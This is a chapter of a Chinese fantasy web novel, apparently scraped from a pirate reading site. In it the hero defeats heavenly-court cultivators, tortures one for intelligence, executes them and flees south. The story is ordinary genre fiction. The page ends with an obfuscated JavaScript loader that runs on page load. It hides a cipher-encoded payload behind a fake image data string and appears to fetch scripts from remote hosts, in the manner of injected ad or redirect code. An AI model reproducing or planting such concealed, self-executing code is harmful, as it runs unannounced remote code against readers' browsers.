首页
第一百四十七章 墟神台
返回

第一百四十七章 墟神台

章节报错(免登陆)

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第一百四十七章墟神台(第1/2页)
    漫天黄沙狂舞,狂风卷着滚烫的沙砾拍打在天地之间。
    冲击波掀起的黄色沙浪如同倾覆的海啸,轰然扩散,将整片沙丘彻底吞没。
    昏黄沙幕之中,金光碎溅,神力爆鸣,刺耳的兵刃交击声连绵不绝,像是万古沉寂的大荒,终于在此刻苏醒,发出沉闷的怒吼。
    三名天庭墟尊修士半跪于黄沙之内,金色官服破烂不堪,染满猩红血迹。
    为首那名阴鸷修士胸口塌陷一块,骨骼碎裂之声哪怕隔着风沙都清晰可闻。
    他手中那杆天道神枪早已布满细密裂纹,枪身黯淡无光,原本圣洁磅礴的天道神泽,此刻被一股莹白古神之力死死侵蚀、消融。
    他艰难抬头,死死盯住前方那道挺拔的少年身影,眼底翻涌着难以置信的骇然。
    墟尊境。
    同境厮杀,三人围剿一人,居然被对方一剑震溃,身受重创。
    更可怖的是,那少年身上的气息,根本不属于天庭正统体系。
    没有规整的天道神泽,没有刻板的天庭符文,那是一种苍茫、古老、野蛮且霸道的本源力量,如同沉睡万古的太古凶兽骤然睁眼,单单威压便压得他们体内神泽滞涩运转。
    “异类……彻头彻尾的异端叛道者!”
    阴鸷修士咬牙低吼,齿间渗出鲜血,他抬手一抹眉心,一枚烫金神纹突兀亮起。
    那是天庭神君级别的专属敕印,用以透支神魂,强行催动禁术,代价便是战后神魂受损,修为永无精进可能。
    “大哥,不可!透支神印会损伤本源!”
    身侧两名同伴连忙出声劝阻,神色慌乱。
    “损伤本源?”
    阴鸷修士惨笑一声,眼底满是疯狂。
    “九天神君大人陨落于此,我等若是空手而归,回到天庭也是死路一条。
    倒不如燃烧神印,拼死斩杀此僚,拿他头颅回天廷请罪!”
    话音落下,他眉心金纹骤然炽盛,刺目的金光穿透漫天黄沙,硬生生在昏黄天幕撕开一道狭长金缝。
    磅礴霸道的天道之力疯狂汇聚,方圆百里之内,飘荡的风沙尽数凝滞,就连空气都变得粘稠沉重。
    “天道敕令——镇神囚笼!”
    一声冷喝响彻大荒,金色神纹冲天而起,在空中交织缠绕,化作一座四方金色牢笼。
    牢笼之上刻满天庭封禁符文,锁链横亘虚空,哗啦啦作响,带着禁锢万物、镇压异类的霸道威势,径直朝着苏衍镇压而下。
    牢笼所过之处,虚空褶皱扭曲,黄沙瞬间湮灭,连飘荡在天地间的古神残韵都被强行碾碎。
    这便是天庭正统修士的恐怖之处。
    不修自身,借天道权柄行杀伐之事,动用禁术之下,可短暂借用天地规则,强行镇压同阶乃至越阶修士。
    清瑶脸色骤变,玉手紧紧攥紧长剑,急促提醒。
    “苏衍,小心!这是天庭封禁秘术,专门克制异类修士,一旦被困,神魂都会被缓慢剥离!”
    她曾在古籍残卷中见过此术记载,无数古神残余修士,皆是惨死在这座金色囚笼之内,被天道之力磨灭神魂,尸骨无存。
    苏衍抬眸,静静凝望头顶不断压落的金色囚笼,莹白剑光在身侧缓缓流转,神色不见半分慌乱。
    本源晶核在胸腔深处滚烫跳动,元初玉牒悬浮于丹田之上,一缕缕纯净古老的本源之力顺着经脉流淌至四肢百骸。
    方才对战震出的内伤,在本源之力滋养下飞速愈合,胸口的闷痛感转瞬消散大半。
    他刚刚突破墟尊,本就需要一场血战稳固境界、打磨战力,这三名天庭修士,恰好是最好的磨刀石。
    “囚笼?”
    苏衍低声嗤笑,语气淡漠却带着刺骨的狂妄。
    “当年诸天神战,我先祖亲手撕碎过诸神布下的九天囚牢。
    就凭你们这拙劣仿制品,也想困我?”
    话音未落,他单手捏诀,体内那枚刚得来的金色大道碎片骤然震颤。
    一缕残破却纯粹的大道感悟涌入脑海,天地间原本零散微弱的古神残力,瞬间被强行牵引,疯狂汇聚至元初斩邪剑剑身之上。
    剑身嗡鸣不止,清脆剑鸣穿透风沙,直上云霄。
    原本莹白的剑体,此刻浮现出细碎古朴的金色纹路,纹路蜿蜒流转,宛若沉睡万古的太古神纹复苏。
    一剑在手,苏衍周身骤然升腾起苍茫古老的神威,那是凌驾于天道之上、源自初代古神的至高威压。
    “墟道秘术——断天!”
    没有华丽繁杂的起手式,没有声势浩大的灵力堆砌。
    苏衍手腕轻抖,长剑平直斩出。
    一抹极简、纯粹、锋利到极致的白光划破昏黄天幕。
    剑光不阔,仅有三尺长短,却像是劈开混沌的第一道光,锐利、决绝,不带半分多余拖沓。
    咔嚓!
    清脆的碎裂声突兀响起。
    坚不可摧、镇压过无数异类修士的金色囚笼,在这一剑之下,如同易碎的琉璃,从正中心裂痕蔓延,金色符文接连崩碎,锁链寸寸断裂,漫天金色碎屑如雨般坠落,消散在风沙之中。
    一剑,破笼。
    剩余的剑光势头不减,裹挟着凛冽寒气,直逼那名阴鸷修士眉心。
    那修士瞳孔骤缩,心底升起前所未有的死亡恐惧。
    他甚至来不及生出躲闪的念头,浑身汗毛倒竖,神魂被古神威压死死禁锢,僵直在原地,动弹不得。
    “护大哥!”
    另外两名墟尊修士嘶吼一声,不顾一切冲杀上前,两道金色神泽尽数爆发,化作厚重的金色神盾,层层叠叠挡在同伴身前。
    盾面符文闪烁,天道之力疯狂涌动,硬生生叠加三层防御,足以硬抗寻常墟尊修士十次猛攻。
    可下一秒,白光掠过。
    噗嗤、噗嗤、噗嗤。
    三声轻响接连传出。
    三层神盾如同纸片般被轻易割裂,金色防御符文瞬间黯淡崩解。
    剑光毫无阻滞,接连穿透两名修士的肩胛,鲜血喷涌而出,染红了身上的金色官服。
    狂暴的古神之力顺着伤口侵入二人体内,疯狂撕扯、净化他们体内的天道神泽。
    二人浑身剧烈抽搐,口中发出凄厉惨叫,体表金光忽明忽暗,修为被强行压制,战力暴跌大半。
    剑光余势未消,最终停在那名阴鸷修士脖颈一寸之外。
    凛冽的剑气割裂他的皮肉,一道细密血线缓缓渗出,刺骨的寒意顺着脖颈蔓延至全身,让他浑身僵硬,连呼吸都不敢太过用力。
    胜负,已然分明。
    风沙渐缓,漫天黄沙缓缓落定。
    战场另一侧,厮杀已然落幕。
    数十名墟皇境天庭修士,此刻无一人站立。
    黄沙之上,残碎铠甲、断裂兵刃散落一地,金色神核混杂在猩红血迹之中,被漫天黄沙半掩,触目惊心。
    石蛮浑身沾满血污,粗重的喘息声清晰可闻,魁梧的身躯上布满深浅不一的伤口,却丝毫不显狼狈。
    他一拳砸扁最后一名逃窜修士的头颅,随手甩去拳上鲜血,咧嘴大笑,粗犷的声音响彻旷野。
    “一群靠着天道施舍力量的废物,也敢来大荒逞凶?”
    妖族肉身本就得天独厚,加上古神遗迹本源之力滋养,他燃烧精血的后遗症已然消退大半。
    此刻战意滔天,周身土黄色妖力萦绕,脚下黄沙尽数下陷,狂暴的威压让残存两名重伤天庭修士瑟瑟发抖。
    灵汐静立一旁,素白裙摆沾染尘土,清冷眉眼间不见半分波澜。
    她指尖萦绕的淡蓝色轮回之力缓缓收敛,方才被轮回之力侵蚀的修士,神魂尽数湮灭,连转世的机会都未曾留下。
    玄墟老人手持拂尘,立于风沙边缘,雪白长须随风微动。
    他并未过多出手屠戮,仅仅挥动拂尘,洒落缕缕金光,净化战场残留的阴邪与天道戾气,目光悠远,默默注视着战场中央的少年。
    守墟将淡蓝色的神魂光影飘浮半空,无形神魂之力铺开,死死封锁整片沙丘空域,杜绝任何一人逃窜报信。
    清瑶抬手擦去嘴角血迹,缓步走到苏衍身侧,美眸之中满是惊叹。
    方才那极简一剑,看似平淡无奇,实则蕴含大道至理,舍弃所有花哨招式,纯粹追求破敌杀伐,哪怕是她,也从中窥见了剑道新境。
    “苏衍,你这一剑……已经脱离凡间剑道桎梏。”
    苏衍收剑归鞘,莹白剑光敛入剑身,周身磅礴的古神威压缓缓收敛。
    他望向身前三名重伤倒地的天庭修士,眼神淡漠冰冷,没有半分多余情绪,如同看待三具冰冷死尸。
    “我问你们三个问题。”
    他声音平淡,却带着不容抗拒的威严。
    “第一,此次追杀,天庭派出多少兵力,行军路线如何?第二,墟神台如今的镇守神将是谁,禁制阵法有无变动?第三,近期天庭是否还有其他上古遗迹的清扫计划?”
    阴鸷修士脖颈血线仍在渗血,他死死咬牙,眼底满是倔强与鄙夷。
    “叛道异类,休要痴心妄想!我等身为天庭神职,恪守天道誓言,宁死不降,绝不泄露半分机密!”
    “嘴硬。”
    苏衍神色未变,指尖轻轻一弹。
    一缕细微至极的古神本源之力悄然飞出,如同无形虫豸,顺着那修士眉心毛孔,悄无声息侵入识海。
    天庭修士依靠天道神泽稳固神魂,看似坚硬,实则死板单一,最不擅长抵御本源神魂攻击。
    下一秒,那名阴鸷修士浑身剧烈颤抖,头皮青筋暴起,脸色惨白如纸,口中发出压抑痛苦的哀嚎。
    他的识海之内,原本规整的天道神纹,被古神之力粗暴撕裂、搅碎,剧痛席卷全身,神魂濒临崩碎。
    “我说!我说!”
    仅仅三息,高傲的天庭修士便彻底崩溃,狼狈嘶吼。
    “此次大荒清缴,天庭派遣五位墟尊带队,两百余名墟皇修士!我们三支小队负责西边荒漠巡查,另外两支小队去往北境古神残骸地带!行军路线全部依照天道星轨排布,隐秘无比!”
    (本章未完,请点击下一页继续阅读)第一百四十七章墟神台(第2/2页)
    “墟神台镇守神将为玄甲天神,此人乃是九天神君旧部,性情残暴,精通封禁阵法。
    墟神台外层增设三重天锁禁制,唯有天庭敕令方可通行!近期天庭清扫计划密集,凡是大荒标注的古神遗迹,尽数封禁摧毁,绝不留半点异类隐患!”
    他语速极快,不敢有丝毫隐瞒,生怕停顿一瞬,便被对方搅碎识海。
    旁边两名修士见状,早已吓得浑身瘫软,不敢有半分抵抗,连连点头附和,证实所言非虚。
    “五位墟尊?两百墟皇?”
    玄墟老人眉头骤然紧锁,轻声叹道。
    “天庭果然动了真格。
    九天神君陨落,彻底刺痛了天庭高层,他们不惜耗费大量兵力,清扫大荒,杜绝一切古神复苏的可能。
    若是另外两支小队汇合,我们处境将会更加凶险。”
    石蛮挠了挠头,一脸无所谓,攥紧拳头沉声说道。
    “来多少打多少!老子现在浑身有劲,别说五名墟尊,就算再来十名,老子也能砸碎他们的神骨!”
    “不可莽撞。”
    灵汐轻轻摇头,清冷眼眸扫视四周。
    “大荒腹地开阔,无险可守。
    天庭修士精通天道联动阵法,多支小队汇合之后,战力翻倍,硬拼只会得不偿失。”
    苏衍沉默片刻,大脑飞速梳理情报。
    五位墟尊带队,两百余名墟皇修士。
    这般兵力,放在人间足以碾压任何一方宗门势力,哪怕是如今的自己,想要正面抗衡,也必将付出惨重代价。
    最麻烦的是墟神台。
    玄甲天神,九天神君旧部,外加三重天锁禁制。
    如今己方刚经历血战,人人带伤,贸然前往,无异于自投罗网。
    “还有最后一个问题。”
    苏衍目光再次落在三名修士身上,语气冰冷。
    “最近是否有黑衣人出没大荒?此人周身萦绕阴邪黑气,不归属天庭,亦不属于九幽。”
    他想起远处那道潜藏的黑影,那人身上的气息混杂着九幽怨念与天道神泽,诡异至极,既不是纯粹的幽冥邪魔,也不是正统天庭修士。
    三名修士闻言,身躯同时一僵,眼神隐晦闪烁,彼此对视一眼,面露忌惮。
    “有。”
    阴鸷修士低声开口,语气带着几分畏惧。
    “近半月以来,大荒频繁出现黑袍怪人。
    他们行事诡异,不与天庭交涉,也不袭击巡查修士,常常徘徊于古神遗迹附近。
    高层严令禁止我们触碰、打探黑袍人,只说是……域外制衡势力。”
    “域外制衡势力?”
    苏衍低声重复,眸中寒光一闪。
    又是一句敷衍的搪塞之词。
    结合之前记忆碎片推断,这批黑袍人,大概率就是暗中解封邪主、勾结天庭高层的隐秘势力。
    他们游走在明暗之间,收集古神残骸,滋养邪主怨念,为后续诸天大乱做铺垫。
    一条隐隐约约的黑线,正在苏衍脑海中缓缓串联。
    天庭高层内奸、九幽冥域、神秘黑袍人、未觉醒的邪主。
    四方势力互相利用、彼此制衡,共同编织出一张笼罩诸天的巨大黑网,而目标,便是彻底抹除初代古神痕迹,永久掌控苍生。
    “该问的,我都问完了。”
    苏衍不再多看三人一眼,语气淡漠,如同宣判死刑。
    “你们身为天庭爪牙,追随伪神,屠戮异类,镇守不公天道。
    今日,黄沙为墓,大荒为棺,尽数埋葬。”
    三名修士脸色惨白,惊恐嘶吼。
    “你不能杀我们!我们是天庭在编神职,斩杀神职,会引来天道天罚!整个大荒都会被天道锁定!”
    “天罚?”
    苏衍仰头望向昏黄阴沉的天空,嘴角勾起一抹冰冷嘲讽。
    “我本就逆道而行,身负万古禁忌,早已被天道判定为异端。
    多杀几个人,又有何妨?”
    铮——
    剑光再闪,白光利落干脆,没有丝毫拖泥带水。
    三颗头颅冲天而起,鲜血喷涌染红黄沙。
    干净,冷酷,杀伐果断。
    没有多余折磨,没有无谓废话,这便是苏衍的行事准则。
    恩怨分明,有仇必报,对敌人永远不会心慈手软。
    守墟将身形一动,神魂之力席卷而出,瞬间将三人散落的神魂残片碾碎,杜绝一切复活、传讯可能。
    “清理战场,不留痕迹。”
    苏衍沉声吩咐。
    “收取神核,掩埋尸体,抹除战斗波动。
    此地不宜久留,另外两支天庭小队随时可能抵达。”
    众人立刻行动,分工明确。
    石蛮手脚麻利,蛮力催动,徒手挖坑掩埋尸体,将一颗颗金色神核尽数收起,咧嘴笑道。
    “这些神核蕴含天道之力,虽然恶心,却能用来淬炼肉身,不算浪费。”
    灵汐抬手结印,轮回之力悄然铺开,抹平地面血迹,淡化残存的杀伐气息。
    轮回之力玄妙莫测,能够篡改浅层天地痕迹,哪怕是天道探查,也难以捕捉此处战斗残留。
    玄墟老人挥动拂尘,金光洒落,将散落的破碎铠甲、兵刃尽数熔毁,消除一切人为痕迹。
    短短半柱香时间,惨烈的战场恢复平整。
    除了被踩实的黄沙,再无半点战斗痕迹,仿佛方才数十名修士的厮杀、陨落,从未发生过。
    众人折返古神石室入口,背靠冰冷石壁,短暂休整。
    风沙再次扬起,呜咽声响回荡大荒,像是万古亡魂的低声哭诉。
    玄墟老人望着远处苍茫无垠的荒漠,面色凝重,缓缓开口。
    “苏衍,如今局势比我预想的更加恶劣。
    五支天庭巡查小队,外加墟神台重兵把守,硬闯墟神台必死无疑。
    依我之见,我们应当暂时避开天庭锋芒,绕道南下,进入蛮荒妖庭边界。”
    “妖庭?”
    苏衍挑眉。
    “没错。”
    玄墟老人点头解释。
    “蛮荒妖庭中立独立,不服从天庭管辖,地域辽阔、地形复杂,天道探查难以穿透。
    我们可借助妖庭地界隐蔽行踪,一边休整修炼,一边打探黑袍人与墟神台的情报。
    待时机成熟,再谋划闯入墟神台。”
    石蛮闻言,双眼骤然发亮,兴奋喊道。
    “去妖庭?那可是我妖族故土!我认识不少妖族部落,到了那边,吃喝住行全都稳妥,天庭杂碎绝对找不到我们!”
    灵汐微微颔首,附和道。
    “妖庭地界灵气混杂,天道规则薄弱,最适合隐匿身形。
    而且妖庭势力庞大,若是能达成合作,对抗天庭便又多一分胜算。”
    苏衍沉默思索片刻,指尖轻轻摩挲剑柄。
    眼下的确没有更好的选择。
    己方人人带伤,兵力单薄,若是执意滞留此地,遭遇另外两支天庭小队,必将陷入合围死局。
    南下妖庭,避其锋芒,隐忍发育,才是最稳妥的破局之法。
    “好,那就南下妖庭。”
    苏衍当即做出决断,目光扫过众人,语气坚定。
    “休整一炷香,立刻动身。
    守墟将,你继续探查前路,避开天庭巡查路线,挑偏僻荒路行进。”
    “属下遵命。”
    守墟将光影微动,悄然升空,融入风沙之中探查前路。
    夕阳西垂,昏红落日悬于荒漠尽头,血色余晖洒落黄沙,将众人身影拉得狭长孤寂。
    苏衍立于沙丘顶端,回头望向这片被鲜血浸染的土地。
    黄沙之下,掩埋着天庭修士的尸骨,也埋藏着万古古神的残碎骸骨。
    他抬手轻抚胸口,本源晶核平稳跳动,那道模糊的黑色人影,再次在脑海中一闪而逝。
    黑袍人、邪主、天庭内奸、篡改的天道、陨落的初代古神。
    一张巨大的迷雾大网,正缓缓铺开。
    “别急。”
    苏衍低声自语,风吹动他墨色长发,衣袍猎猎作响。
    “你们藏于暗处布局,我便于明处磨刀。
    待到刀锋破晓之日,我会亲手撕开这虚伪天道,把所有藏在黑暗里的肮脏,尽数暴晒于阳光之下。”
    一炷香转瞬即逝。
    众人整装完毕,没有多余迟疑,一行人转身南下,踏入苍茫无垠的蛮荒风沙之中。
    渺小的队伍,在荒芜大荒之中缓缓前行,背影孤寂却挺拔。
    而在众人离去的百里之外,一处风化严重的断岩背后,那道漆黑的身影再次浮现。
    黑袍遮盖全身,看不清面容,唯有一双猩红眼眸,穿透漫天风沙,死死盯着南下的一行人。
    他指尖捏着一枚漆黑骨片,骨片之上刻满诡异符文,丝丝缕缕的阴邪黑气不断缠绕涌动。
    “墟尊境……成长速度,远超预估。”
    沙哑晦涩的低语,从黑袍之下缓缓传出。
    “元初本源彻底苏醒,大道碎片加持,再给你半年时间,怕是连玄甲天神都能轻易斩杀。”
    “不能再放任下去了。”
    黑袍人抬手,指尖黑芒一闪,一枚漆黑传讯玉符瞬间碎裂,消散在风中。
    “传我命令,放行九幽暗部,拦截南下通道。
    不必斩杀,只需消耗他的本源之力,拖延他的脚步。
    邪主大人苏醒在即,我要在苏醒之日,亲眼看着这位古神传人,沦为祭品。”
    狂风呼啸,吞没一切低语。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();